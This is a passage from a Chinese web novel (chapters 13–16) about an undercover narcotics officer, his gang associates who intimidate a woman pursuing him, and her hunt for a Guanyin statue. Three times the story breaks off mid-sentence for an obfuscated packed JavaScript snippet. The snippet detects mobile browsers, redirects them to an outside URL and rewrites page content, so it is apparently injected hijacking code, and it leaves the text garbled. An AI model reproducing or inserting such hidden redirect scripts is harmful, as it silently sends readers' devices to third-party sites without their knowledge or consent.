大鱼最后顶着两条鼻血跑了,谢天明回来时,饭桌上的保温袋都还没打开,沈宗野站在阳台的窗帘背后点烟。 谢天明走上前,透过窗帘的缝隙能看见楼下的小区花园,他刚才也在楼道口目睹梁然穿过花园走远了才回来。 “我看她是来真的。”谢天明说:“先吃饭吧。” 沈宗野回到饭桌前,谢天明将饭菜一一摆出来。沈宗野依旧没动,香烟的雾气在他指间升腾,遮着背后幽深的眼睛。 “那晚就不该搭她。” 他说的是去一院看老万的那个雨夜,他坐在三楼的阳台看见梁然帮助那只流浪猫。 车窗外她弯腰靠近,搭上他的车……没有拒绝那双笑着的眼睛,是沈宗野现在最后悔的事。 他从前也在任务中帮过陌生人,但没有一个人像梁然这样难缠。 谢天明也没有像平时那样再开沈宗野的玩笑。 “你打算怎么办?” “见到她就让云肖去拦住她,你在背后看着点,别让他们太过。当然,得给她一点教训。”沈宗野来真的了,说得很坚决:“别让她趟进这趟浑水。” 谢天明素日里吊儿郎当的脸上也难得严整,点点头。 沈宗野这才夹菜吃饭,那天晚上他本来是想和那些女人演场戏把梁然吓走,她明明已经冲进洗手间哭了,却还是跟了回来。 沈宗野气得不轻,在把梁然塞进顶楼套房的时候就从「云上人间」走了。衬衫上被人蹭得都是粉底,他很无语地在水龙头下搓洗,当时又想起大鱼说的给了梁然一张门禁卡,气得更上火。 今天梁然真的找上门了,沈宗野应该不意外的,明明他已经想过她拿了门禁卡就可能会找上来,但他竟然会觉得这不应该是梁然干的事。 她看起来不该是这种人。 沈宗野说:“我该检讨一下了,还是不够周全,这事怪我。” 是他没扮演好现在这个角色,在无人看到的地方对陌生人露出善举。 谢天明终于说了句玩笑:“当她是个偶然事件,这不算事儿。” 沈宗野吃起饭,盘子里最后一块排骨和娃娃菜被他夹到碗里。他没有浪费的习惯,就算是不好吃的食物也不会剩下,从来都是光盘。 他起身将碗筷收进厨房。 谢天明比沈宗野小三岁,拥有年轻人的通病,不爱做家务,尤其不爱洗碗。 沈宗野却好像是个例外,明明二十五岁是个年轻的年龄,他却一点也不像一个二十五岁的青年。拖地、洗碗,他能做好每一样家务,即便是在熬着通宵蹲守毒贩后,也能走进厨房给自己煮一碗面,然后洗干净碗再去睡觉。 谢天明侧过头,看沈宗野的左手没抓好碗让盘子滑下去,那根断掉一半的大拇指还是影响了整体的抓握能力。 谢天明走过去:“我来洗吧。” “洗完了。”沈宗野放好最后一个碗,擦干双手:“我再去老万那一趟,董自新那儿你看着。” 谢天明点头。 沈宗野握住门把的手忽然一停,对谢天明说:“我不想再看到梁然。” “你放心,包我身上,这点小事我还办不好了?” …… 总是大晴天的宁城,天空像是一块蓝染的布缎,干净到治愈。 下午从顾儒海的工地离开,梁然抽空再去拜访了宋晟,她还是不想失去这个大客户。 宋晟的助理周铭接见了梁然,他说宋董要忙完才能见她。但梁然等到下午六点都没有等到宋晟,当然明白是宋晟故意让她空等,为上次的事。 梁然离开大楼,开车去「云上人间」吃晚饭。 她并不在乎现在能不能碰到沈宗野,上次已经把他惹毛了,最近还不是再招惹他的时候。 只是梁然没想到,她竟然连餐厅都进不去。 云肖带着两个人站在电梯门口,皮笑肉不笑地撑在门外,路都被他堵死了,梁然根本出不了电梯。 三天前,在沈宗野交代下来后,云肖他们就住在「云上人间」了,直到今天梁然再过来。 干这种事他们很在行,不会在大门口堵。云肖早就打点好监控室,他只是不认识梁然的车,不然早在车库就能把梁然堵住,哪还能让她进电梯。 云肖不会在「云上人间」对梁然动手,这是董自新的地盘,是合法的干净产业,他们不敢弄脏。 “来找宗哥啊。”云肖边说边进了电梯,他身后的李浩和老九都一起涌进来,李浩熟练地按了B1。 梁然说:“不找他,我来吃饭。” “没找宗哥啊,那正好,换个地方吃,咱仨儿请你一起吃个饭。” 梁然知道争不过他们。 电梯停在负一层,云肖先走出门,扭头眯起眼对梁然笑。那笑容很阴森,完全没有最开始时的好态度。 梁然跨出电梯,云肖大摇大摆走向她的车子。 梁然并不奇怪他能知道她的车子停在哪,做到这一步,一切显然都是沈宗野的授意。 她坐上车,云肖拉开她的副驾驶,李浩钻进后排。 云肖把手机导航放在支架上,翘起二郎腿拉过安全带:“去这家馆子,贼他妈好吃。” 听起来他们就像真的是陪她一起去吃饭一样,可他完全指挥的态度,好像梁然不按导航走,他就敢夺方向盘。 梁然抿了抿唇,就按云肖的地址开去。老九开了台车跟在她后面。 到了地方,云肖让李浩先带梁然进去。 云肖等老九停好车,皱了皱眉看周围:“有没有感觉路上有人跟着?” “没注意,可能是明哥?”老九说。 谢天明的确叮嘱过他们不要闹得太过,不要真伤人,他会盯着他们。 云肖又再扫了眼周围才没再去探究。 梁然已经进了饭店,是一家有年头的羊肉馆子,灯箱上打着新鲜现宰羊肉。大厅只有三桌人,环境很一般,地板一点也不干净,许多的脚印和瓜子壳。这是她以前从来不会踏足的地方。 李浩进门说订过包房。 撑在桌子上玩手机的服务员才懒懒散散地走过来领他们去包厢。 云肖跟进来,拉开椅子让梁然坐。 梁然从始至终没有表现出害怕与拒绝,坐到那把椅子上,将包放到旁边的椅子。 云肖笑嘻嘻地拿开她的包,坐到了她身边的椅子上。 梁然只是冷静地看着他一系列动作。 云肖倒还有些意外她的淡定。 “羊肉都是现杀的?” 服务员说是。 云肖:“我怎么知道你们是不是现杀。” “都是今天拉过来的羊,还有半扇在我们厨房,你不信可以去看。” 云肖啧啧看菜单,还是不信:“我是客人,该你们拉过来给我看,还有半头我就要半头,拉到我们这里来剁。” 服务员又惊又喜,喜的是他们生意很差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢天明交代时说不能违法,要吓退梁然,但又不能造成实质性的伤害。 这可把云肖为难坏了,他是杀过人的。 沈宗野很信任他,虽然平时很多重要的事都给他办,但总不让他动真格,束手束脚的总是不够爽。云肖想了两天才想出这种法子,等下再加一个追尾,控制好速度,伤车不伤人,应该够给梁然教训了。 只是云肖出来时没看见梁然的车,但料想她也开不远。 他按推算开向左边的方向,转弯时果然看见最前头梁然的车在等红灯。 车流太多,云肖没跟上,直到换了几条街之后才慢慢跟在梁然后面。 但他忽然发现一台车开上前,将梁然叫停。 一辆黑色汽车并排跟梁然同行,落下车窗和梁然对话。 隔了两台车,云肖当然听不见,但他看到梁然跟着那辆车拐弯在路边停下。 梁然下了车,黑车上的人也下来,领着梁然走进一家英文名字的进口红酒品鉴店,走到门口时,他回头扫了眼周围。 然后,云肖看到了那个人的脸,云肖当场愣住,细长的眼睛瞬间狠了下来。 那不是不相干的人,是剁了沈宗野拇指的人。 14. 第 14 章 云肖在三个小时后才重新开车离开。 他一直在附近蹲着,录到了视频才往回赶。 李浩和老九已经回沈宗野这里汇报消息,也只比云肖早到十几分钟,后面他们在那家羊肉馆点了酒,吃饱了才回来。两个人当然吃不完半只羊,打包了很多没碰过的带给沈宗野。 沈宗野没吃东西,知道这是一顿怎样的饭菜,谢天明也没碰。只有大鱼从来都不会辜负食物,吃得很认真。 李浩在跟沈宗野汇报他们如何对付梁然的。 沈宗野听着,左手转着一支烟。 他并不怎么爱吸烟,最初是因为工作,有时候压力来了,也会抽出一支烟转动把玩。 李浩说:“那刀砍下去的时候真是碎肉横飞啊,我们看她吓了一跳,云肖那阵仗我估计她回去好几天都不敢再来了。” 李浩说完包房里的过程,开始说到云肖开车去撞梁然。 沈宗野手上的烟一顿,抬起眼:“撞她做什么?我说了不要把事情搞大。”他的眼睛里已经有了怒火,谢天明也赶紧找手机给云肖打电话。 李浩心虚地解释:“就是追个尾,宗哥你别担心……” 还没打通沈宗野就从谢天明手上拿过手机,等云肖刚接听,沈宗野冷冷说:“在哪?老子让你去追尾了?别他妈给我撞人,赶紧回来!” “宗哥,我没追她,但我现在恨不得弄死她。”云肖语气阴狠:“她是谁的人你知道吗?乌鱼的人。” 沈宗野怔住,上一秒掩藏在眸底的担忧突然在这句话里凝固,意外与诧异都化成了他眼底冰冷的戾色。 云肖说他已经快到小区了,马上就回来。 几分钟后,云肖走进门,紧咬后槽牙把他拍到的视频给沈宗野看。 “严伟把她带进去的,我亲眼看着他们进去,还有乌鱼,他就在楼上……” 将梁然带进那家红酒品鉴店的人叫严伟,他是乌鱼的心腹。 而乌鱼是沈宗野的死对头。 云肖当然没马上离开,在对面的酒店找角度拍到了梁然和乌鱼聊天的视频。他们聊了一个小时,不是不熟的样子,临走时乌鱼还把外套给梁然挡衣服上的血点,看起来亲密得很。 沈宗野看完了整段视频。 即便距离有些远,画质有些糊,但不难分辨出那个体态完美、身材完美的女人是梁然,高挑的男人是乌鱼。 最后一幕是乌鱼脱下外套递给梁然,梁然说着什么,没有接。然后她走出门,严伟一直在送她。 沈宗野目不转睛盯着手机画面,一言不发。 谢天明也看完了,对梁然从震惊到失望,再到厌恶。 他的心理应该也是沈宗野的心理,他抬头看沈宗野,沈宗野眼底是漠然的冷,再也没有刚才听到梁然被追尾的担心。 他们都以为梁然只是一个偶然发生的事件。 可想想缉毒这条危险重重的隐蔽线上,偶然事件又岂止只是单纯的偶然。 好久之后,沈宗野将视频传到他的手机上,删掉云肖手上的视频,才摁灭屏幕交代:“这件事谁都别透露。” 屋子里只有云肖和谢天明在,在听到云肖的电话后沈宗野就把大鱼他们支走了。 谢天明没说什么,云肖气不过:“就这么算了?老子去把她做掉!” 沈宗野冷冷瞪云肖。 谢天明搂着云肖肩膀将他带出门:“宗哥当然有安排,别让那几个大嘴巴知道。” 云肖被点醒,眼睛里的戾气才消退。 沈宗野是很信任他和谢天明的,至少他甘心替沈宗野卖命后,沈宗野待他一直都很好。 谢天明走回客厅:“你怎么打算?” “欣赏一下她的演技。” 沈宗野起身,过道的墙壁之间装了一根健身的金属单杠,他做着引体向上的动作,手臂上肌肉喷鼓,眼底依旧一片冰冷。 谢天明虽然也不高兴,但也觉得这不算是最坏的事,至少他们发现了梁然是乌鱼的卧底。 之前沈宗野很得南城那边老单的信任,乌鱼派过几个卧底来攻破老单各个得力的助手,想吞老单的盘子。 当时来沈宗野这边的是个女人,那是云肖一个小弟的妹妹,因为人美嘴甜,大家都很喜欢她。最开始云肖也挺关照人家,带到沈宗野跟前混熟了,后面一次走货行动中那女的把沈宗野的路线报给乌鱼,让他们丢了一百多万的货不说,还失去了当时大手的信任。 原本完成那次的任务,沈宗野就能接触到更核心的目标了。 沈宗野依旧在做引体向上的运动,换成了单只左手。 他的大拇指失去力量,其余四根手指便无法再灵活地抓握,汗水布满英挺的脸,胸膛随着他动作喷鼓起伏。只能支撑三分钟,左手便开始痉挛般地失去抓握力,他整个人落了下来。 沈宗野坐在地板上喘气,大颗的汗水顺着眉峰滴落。他起身走进浴室洗澡,水汽氤氲,升腾在思绪之间。 他想起了医院门口的雨天,无辜的流浪猫和蹲在它身前的梁然。 他想起了那天她找到这里,站在他的房门口对他说:沈宗野,你有没有坚持过一件事。 她看起来高知,漂亮,气质和大部分人都不一样。 他原先的确以为她是真的不一样。 沈宗野从浴室出来,拿起手机,微亮的光镀着他英隽的脸,打开微信,他从黑名单里将梁然放了出来。 …… 大鱼带着谢天明的授意,在第二天“偶遇”了梁然。当然,谢天明的授意自然也是沈宗野的意思。 梁然今天没工作,原本再次去拜访了宋晟,能谈的合作她自然不想放弃。 这一回宋晟也的确见她了,但问到了她的男朋友,他说倘若项目交给梁然负责,他不希望梁然被沈宗野干扰,如果她想好了,今晚可以去他酒店的房间带着诚意谈。 梁然很清楚这是什么意思。 她不可能去。 从宋晟的高尔夫球场出来就回了酒店,在酒店的停车场碰到了大鱼。 大鱼开着昨天老九那台车,刚要上车的样子。 梁然见到他时本来在想要不要叫他一声,大鱼恰好抬头看到她,有些意外,然后硬着头皮喊了她一声嫂子,又连忙改口喊她小梁姐。 梁然说:“你在这干嘛?” “哦,我来给一个客人送点颜料,我们卖颜料的嘛。” 颜料…… 毒品吧。 梁然没怀疑大鱼,下车朝这边入口走来。 大鱼有些担心地上下看她:“小梁姐,昨天你没事吧?” “能有什么事,只是不爱吃羊肉。”梁然抿唇淡笑一下,但她的态度也很冷淡,拎着包走向电梯。 大鱼记着谢天明的交代,不要跟得太紧,也不要表现得太好意。 大鱼站在原地欲言又止,然后说:“其实宗哥昨天还是担心你的,他听云肖他们说完后就很不高兴,但他也不好说什么。” 梁然回过头。 大鱼:“宗哥只是太拼事业了,不想谈什么女的,他觉得女人爱惹事。” 梁然没说话。 大鱼忙解释:“我不是说小梁姐你惹事,我是说宗哥不想被女人烦到事业,我觉得小梁姐你就很好!我们还没在宗哥身边看到比你还优秀的女人。” 梁然问:“沈宗野昨天什么表情?” 大鱼愣了下回忆:“他没说什么,听到云肖他们说完就回房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925277|160467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间了,我好像听到他问有没有把你吓坏。” 在梁然没接话的时候,大鱼加了一句话让演技更真诚:“小梁姐,你就放弃吧,宗哥心里估计事业更重要。” 虽然大鱼也不知道为什么谢天明要他来这么演,这不是多此一举吗,明明沈宗野说了别让梁然再接近他。但大鱼觉得这也许是沈宗野的真实想法,明明已经有些喜欢梁然,但确实不想被梁然影响了他们见不得光的事业。 梁然听到这句,轻轻弯了弯唇:“知道了,但我觉得吧感情这种事没法勉强,得看缘分。” 大鱼不知道该替沈宗野高兴还是担心,回去向谢天明汇报了。 梁然回了酒店房间,她没在微信上联系沈宗野,也许昨天就应该质问他凭什么让人那么吓唬她,但她当时已经气得恨不得报警让警察把他们都抓去监狱,微信上骂几句根本就消不掉心底里的憎恶。 昨天开车半路上,她的确是想打沈宗野的电话骂他的,只是中途意外遇到了一个熟人。 也不算是太熟,是她那个被毒品荼害的发小许希希的前男友向邬道。 梁然坐在书桌前打开笔记本,在网页上搜索观音像,盯着一幅一幅观音图片找着。 向邬道说虽然他不认识沈宗野,但他听到沈宗野他们好像在找一尊观音像。 …… 第二天,梁然再次去「云上人间」的时候见到了沈宗野。 这一次电梯门口没有阻拦她的人了,她在餐厅遇到了云肖和李浩。云肖脸上依旧像上次那样写满了对她的讨厌,好像上次捅破后就懒得掩藏了,他冷冷瞥她一眼,叼着烟挡在她跟前不走了。 梁然冷了脸:“让开。” “你还来这儿做什么?” “吃饭。我是会员,充了钱来消费,你不可能阻止这里赚钱吧。” 云肖不情不愿让开。 梁然知道他们不敢得罪这里的老板。 她吃完饭去洗手间,遇到了从包房里出来的沈宗野。 沈宗野穿着一件不出彩的黑色衬衫,依旧是极淡的表情,但因为那张英隽的脸,他即便只是这样风轻云淡地瞥过来,也不输给这过道的富丽堂皇。 他比墙上的名家壁画更像一副装饰品。 梁然不知道该给他什么表情才符合她这个人设。 她就这么看着他,脸上是碰巧遇到的意外,然后有些小惊喜,又更多的气愤和委屈。她这样静静地望着他好几秒,然后移开眼往卫生间去。 沈宗野也收回目光,他看上去是出来打电话的,他随手带上包房的门,隔离了吵闹的音乐声。卫生间在走廊的尽头,他走在她后头,停在过道的窗前讲电话。 梁然上完卫生间,在门口听着沈宗野低沉的声音,直到他挂完电话才走出来。 沈宗野也正收起手机,转身的目光落在她身上。 他微冷的眸光下似乎有隐约的那么一点不忍。 在两个人短暂的相互对视中。 沈宗野率先移开眼:“你还来这儿。” “怎么,是你开的?” 沈宗野淡淡说:“云肖他们怎么吓你的?” “你的人你不知道。” 沈宗野沉默了几秒才说:“我跟你没可能。” 所以呢? 叫住她就是为了再羞辱她一遍? 梁然没说话,依旧装出那种黯然失色但又强撑坚强的态度。 沈宗野看她一眼:“跟我走。” “干嘛?” “李浩说那天你衣服弄脏了。”他望着她的眼睛。 他的脸上没什么愧意,依旧是那种冷淡中带着点玩世不恭的闲恣,语气也没多少诚意,说:“赔你套衣服,以后别来这儿。” 15. 第 15 章 梁然心上一动,在这她的意料之外。 她露出一种终于得偿所愿的感动眼神,但黯然地抿了抿唇,难得的浅笑中微微有些遗憾。 “今天没空,有诚心就改天吧。” 明明这是她之前求之不得的机会。 只是男女间的博弈好像并不该是如此,她希望她是存在价值的一方,能让沈宗野有求的那一方。 沈宗野显然没料到她会拒绝,他微抿薄唇,没再开口。 “空了我会给你发信息。”梁然说着,不动声色看了眼沈宗野断掉半根的大拇指,转身走了。 也许像大鱼说的那样,沈宗野对她是有过心动的。不怪她自恋过头,她认为她的外表条件在沈宗野这种圈子里应该再接触不到第二个。 只是,梁然好像走入了一个更深的怪圈。 她现在想以价值吸引沈宗野。 因为那天遇到向邬道,他说沈宗野在寻找一尊观音像。她想把这个东西找到。 那天向邬道说他不认识沈宗野。 梁然没信。 最先是她开着车在路上碰到严伟,严伟说向邬道来宁城旅游了,在「云上人间」好像看见她了,没想到还真是她。 梁然对严伟有点印象,她曾经去酒吧拿钱救许希希时,那些人欺负她们,严伟带着酒吧的安保人员来控制现场,当时她连忙护着许希希躲到严伟身后,然后才是见到被请过来的酒吧老板向邬道。严伟是向邬道酒吧的管理人员,在那天之前,梁然一直这么以为。 她便停下车跟严伟进了一家收藏红酒的店,见到了几年没再见过的向邬道。 向邬道二十八岁,比之前更成熟很多,他身上有股酒吧那种娱乐场所的雅痞气质,但说话做事挺正经。 他笑着让梁然品尝他打算订购的红酒:“没想到能在这么远的地方碰到你。” 虽然不算是太熟的人,但梁然对他也算是有一份感激,她笑着说:“我也没想到,不过想起来前段时间听到我合伙人提起在飞机上遇到你了。” “那个很热情的美女,我有印象。” 他们聊了一会儿乔思嘉,不可避免聊到许希希,然后聊梁然的工作。 向邬道忽然有些欲言又止,梁然让他尽管说,他才问:“今天本来在「云上人间」看到你了,但好像你被什么人拦住了?” 梁然随口说几个朋友。 向邬道稍微有些意外:“你还有这种朋友?” 梁然不解地笑了下:“怎么了?” “抱歉啊,就是觉得他们看起来气质跟你不太一样,我以为你身边的朋友应该都是那种高级的知识分子。”向邬道说完,不好意思地笑了笑,随即问:“那你朋友在找什么观音像?” 梁然被问住。 向邬道解释:“那里的老板酿造了一种口感不错的蓝莓酒,我跟他们老板谈合作的时候听到你那些朋友在帮董老板找观音像,但应该是没找到,他们看起来挺着急。” 梁然心中一动:“你还听到什么了?我也想帮我朋友。” “你朋友可能有求别人,但我看董老板好像不太赏脸。”向邬道问梁然:“你和他们是什么关系?” 梁然想了下:“你注意到最帅那个男的了吗?”她笑笑,“我在追他。” 向邬道“哦”一声,原来如此的表情:“了解,那个人确实挺帅,那张脸可以当明星了。” 他皱了皱眉:“不过他们好像有灰色产业?不然董老板不会这么不赏脸吧。” 梁然说不清楚。 向邬道说:“别的我没听到,董老板这个人开店多年,小富即安,不是那种缺钱的。他很孝顺,他妈妈身体有些问题,在求一尊观音像,董老板找过很多,但老太太都觉得不合心意。他想找的观音应该不是那种塑金身的昂贵雕像,我本来也想送他一尊,但他想要那种挑着菜篮子的像,观音有挑菜篮子的?” 向邬道十分无奈地说他压根不了解。 梁然又跟他聊了一会儿别的,临走时,向邬道才看到她衬衫上弄脏了。 梁然说:“刚才餐厅里不小心弄的,不是你的红酒。” 向邬道起身将她送出门,要拿他的衣服给她遮上,梁然说不用,忽然留意到向邬道收回去的左手。 那只左手以一种朝他身体倾斜的姿势缩回去,倾斜的角度遮住了无名指和小拇指,但刚才他递给她衣服时,梁然明显扫到他缺失了一根小拇指。而他们聊了这么久,好像向邬道的左手一直都是放在桌子下的。 人的本能会下意识表达一种惊讶,而当梁然发出这种惊讶时才意识到向邬道在掩藏他丢失的小拇指。 为什么? 梁然几乎下意识就想到沈宗野。 沈宗野的左手被砍掉半根大拇指。 向邬道的左手小拇指缺失,而几年前的他手掌明明不残疾。 他们有关系吗? 向邬道也察觉了梁然的惊讶,他的左手极自然地揽着那件外套,看不出任何异常,他笑着问梁然“怎么了”。 那瞬间梁然也表现得极自然:“你现在有女朋友吗?” 向邬道唇角微挑,他笑的时候喜欢挑起一侧的嘴唇,那股端正的痞气有一种风流的味道,他说:“没有。” “那你还会联络希希吗?她还是老样子,虽然你们已经是过去式了,但可能对她来说你还是很重要。”梁然流利地说起。 向邬道点了点头,眼里有一种惋惜。 梁然朝他挥手:“有空再见。” 向邬道笑:“祝你成功把帅哥追到手,需要帮忙记得找我。” 这是梁然那天遇到向邬道的全部过程。 向邬道说不认识沈宗野,梁然不信。 她也是在那天才把许希希沾上毒品这件事跟向邬道联系在一起。 有没有一种可能,许希希不是被吸毒的男生下了药,而是在向邬道的酒吧里被向邬道的人下了药? 有没有一种可能,那时候的向邬道压根就不是什么富二代,而是一个实打实在酒吧贩毒的毒贩子?那间酒吧就是他的窝点。 那天把车开回酒店,梁然关上房门整个人倒在了沙发上。她腿发软,后背也有冷汗。 向邬道绝对不是一个酒吧老板那么简单,他也绝对不是来「云上人间」订购酒水,可能连「云上人间」的董老板都是和毒品有更大关系的人。 他告诉她沈宗野在找观音像,是想帮沈宗野还是董老板? 不管怎么样,他能说出这些话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927148|160467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那就是在利用她,促成这件事他能得到利益。 梁然也是在想了两天后才决心继续下去的。 她给林甄去过电话,试探性地询问林甄宁省这边毒品严不严重,林甄说宁省一向没什么大案件,而且宁省也不归他们管,也警告梁然不要再想这些事。 梁然不想抽离,也许她现在踩到了更危险的旋涡。但只要想起梁幸均,想起梁悦,想到沈宗野那张欠死的脸,她就不打算这么白白退出。 观音像找起来不算难。 几乎没有挑着菜篮子的观音,梁然把所有对观音的科普都看了一遍,反复筛选又排除,找出了五尊莲花台观音和提篮观音的照片。 其中有一尊提篮观音的眉眼她很喜欢,同样是慈悲的神态,但这尊观音好像有一股力量,面部那种和蔼的笑能让她整个人都放松下来。 窗外是个阴天,没有那么刺眼的阳光,梁然打开微信,找到沈宗野的头像,窝在落地窗前的沙发上编辑消息。 Zaha:「看!仙女出没!」 「上次说赔我一件衣服,我今天有时间了」 她又发送了一个小女孩双手托腮的表情,是从工作室的群里保存的,她和乔思嘉管理上不算严,几个刚毕业的员工很喜欢发这些表情包。 沈宗野没有回复她。 梁然也不急,翻看着相册里保存的观音像,她的手指停在那尊提篮观音上,望着观音喜笑的眉眼也下意识弯起唇角。她还挺喜欢这尊观音菩萨的。 手机响起了提示音。 沈宗野竟然回消息了。 绿野:「嗯」 他发来一个坐标,是市中心一处商场。 绿野:「来这里」 梁然勾起了唇,发了一个星黛露转圈圈的可爱表情。 她起身去换了条修身的浅蓝色牛仔裤,剪裁优秀的版型包裹着修长双腿,上衣是一件精致钉珠吊带。可想了想,梁然还是换成了简单的白T,头发自然垂顺地披散。 沈宗野选的商场一楼进门处有一家咖啡店,他和谢天明坐在里面,他面前有两杯咖啡,一杯是他喝过的,一杯在打包袋里。谢天明坐在他对面吃着一块黑巧甜点。 沈宗野最先看见梁然。 商场的大门有进进出出的人,而梁然最招摇。 也不对,招摇是一个贬义词,她应该是亮眼。 她穿着最简单的牛仔裤和白T恤,双腿包裹得匀称细直,白T恤是稍微掐身的款式,将她优越的身材恰到好处地展露,简单的衣服在她身上很有一种清纯又娇艳的美。 她推开光亮的玻璃门走进人群,明明什么都没做,单单站在那里也足够吸引人的目光。她的皮肤很白,头发带着乌黑光泽,仿佛一块黑色的真丝绸缎。看她的脸很像是在欣赏一件精心雕琢的艺术品,她往四周看了看,没有看到沈宗野。 她很自然地拎着包走在人群里,但忽然像是有感应一般,扭头望向咖啡店这边。 锃亮的玻璃窗上投映着来来往往的影子,而他们的视线于人来人往中交汇。 两道眼神碰撞的那瞬间,梁然朝他轻轻笑了起来,红唇弯起愉悦的弧度。 沈宗野只是很冷静地移开眼,拿起桌上的咖啡,起身走向梁然。 16. 第 16 章 沈宗野把咖啡递给梁然,梁然伸手来接,经过的行人带起一阵风,有一股雨后花园的香水味飘到沈宗野鼻端。 是梁然身上的味道。 梁然接过咖啡抿了一口,沈宗野往前走。 梁然没说话,沈宗野也没什么招呼的台词。 两个外表过于高端的男女并排走在来往人群中,格外有一种引爆的回头率,也格外像两个不熟的网友见面。 气氛似乎有些凝结。 直到谢天明吃完了那个黑巧甜品出来,跟上了他们。 谢天明问梁然:“Hi,我哥跟你赔过罪了吧?” 梁然淡淡抿笑:“如果他那种口吻算赔罪的话,那就是吧。” 谢天明笑:“不好意思,不过大家都是成年人嘛,有事情说清楚就好。我哥也没别的意思,他事业心挺重,你呢条件这么好,咱就别提不开心的事了。今天买件好看的衣服让不开心的事情都过去。” 说得还挺冠冕堂皇。 沈宗野侧目扫了眼谢天明。 梁然也转头看他一眼。 谢天明只当不知道他们各自都在想什么:“二楼和三楼都是女装,一楼的化妆品也行,你要喜欢包挑个包也行。” 他这么说了,梁然没必要带着两个男人去试衣服了。她本来想随便挑个包,经过彩妆区时看见品牌新推的口红,于是进去挑选。梁然试了一支颜色极正的红色唇膏,微带蓝调的正红色气场大开,这种明艳的颜色让她的美貌多了一种攻击性。 她转头问沈宗野:“这个色号我涂好看吗?” “挺好。”沈宗野薄唇微抿,稍显敷衍地低笑:“跟之前包房里你见过的那些女的一样,都是这种口红。” 梁然对镜欣赏的笑一下子就冷了。 她看着沈宗野。 沈宗野单手插兜,面对她明显不那么高兴了的眼神,他懒得再做什么赔礼道歉,姿态闲恣地扫了眼货架上的一排新品口红管,对柜姐说“这些颜色都给她”。 他转身去付款。 梁然等他付完款才说:“可我没说买这个啊。”她耸肩一笑,“你买单都这么速度吗,我都还没算好账。” 沈宗野没有太意外,好整以暇的气场,慵懒等着她随便开口。 “那天被弄脏的是我一件私人订制,虽然不贵也不算便宜,你就赔我几套口红,感觉我还挺亏的。” “那就赔你那件衣服。”沈宗野说完,走出柜台往上行的扶梯去。 谢天明来帮梁然拎手提袋,问她这里有没有那家店。 梁然看了眼旁边的咖啡书店:“有点累先坐会儿吧,我拿手机找找看。” 她拎着手上没喝完的咖啡进了这家咖啡书店。 沈宗野已经快迈上扶梯了,望着坐进店里的梁然,只能转回身。 他的眼神很冷淡。 谢天明用身体挡了他一下:“刚才怎么那个态度呢,说的话也太难听了点。你稍微给点脸色吧,是咱主动要陪她逛的。” 沈宗野:“知道。” 今天这场戏的确是他那天就铺设好的,董自新那里没有收获,他想看看向邬道会利用梁然这个饵再在他这里设计什么。 他并不觉得他刚才说的话有问题,于他目前卧底的身份,他就是这样的人设。 他只是刚才望着梁然回过头时美貌十足的脸,想起了医院门外的雨夜,那个帮助流浪猫的梁然不过是她演出来的单纯伪装。 向邬道本来就知道老万,自然也不奇怪他那晚的行踪被暴露。 沈宗野只是在自责,他那晚钝感低到压根没发觉被人跟踪,也并没有察觉出梁然的目的,以为她真的只是一个路人。 是他太不够谨慎,卧底的工作做得不完美。 谢天明用咖啡遮住一只手,食指弯曲,比出他们日常默契的那个手势,要他加油。 沈宗野走进了店里。 梁然在靠书架的沙发上坐着,沈宗野来到她座位前,问她:“要甜筒吗?” 梁然在翻手机,闻声看了眼旁边吃甜筒的女生。 那是很漂亮的星球形状,菜单上也有新上星球甜品的介绍,她本来不想要,但看是动物奶油还是点了点头。 “我想要一个仙女座。” 沈宗野起身去点单台,和谢天明一起等了几分钟拿回三个甜筒。他递给梁然的是粉色的仙女座甜筒,他和谢天明的则是地球的形状,入口甜度比较低,配合的果香和奶香却很足,味道很不错。 梁然原本也只是象征性地舔了一下,有些意外,轻轻咬了一口,抬头看向沈宗野。 她桃花眼里带着一股明亮的惊喜:“还不错。” 沈宗野在她对面坐下,谢天明吃着甜筒,走到后边的书架旁翻起书。 “休息会儿吧。”梁然刷着手机,“我买衣服那家店挺远的。” “可以去,说了赔你。”沈宗野说。 “哪个‘陪’啊?”梁然问。 沈宗野深邃的眸底只是浮现起一丝淡笑,不想说什么让她不快的话,不再回答这个问题。他高大的身躯倚在狭小的沙发上,闲恣懒散地吃着手上的甜筒。 梁然收回等待的视线,也作自讨无趣地笑了笑,在手机上找到她那件衣服的链接。 “换个颜色怎么样,我之前的是这个云朵白,你看看这个蓝色?”她把手机给沈宗野看。 沈宗野扫了眼:“行。” “这个色呢?”梁然拿回来换了个色。 沈宗野再点头。 她又点了几下,再次递给沈宗野:“这个怎么样?” 沈宗野丝毫没有不耐烦,淡定如常地看向手机屏幕,可他的瞳孔忽然有一瞬间的微眯。 他不动声色,依旧只是很平常的表情,望着手机屏幕上的一尊观音像:“点错了,是张观音照片。” 梁然收回手机一看:“哦点错了。”她很自然地重新滑到衣服的照片上,让沈宗野看。 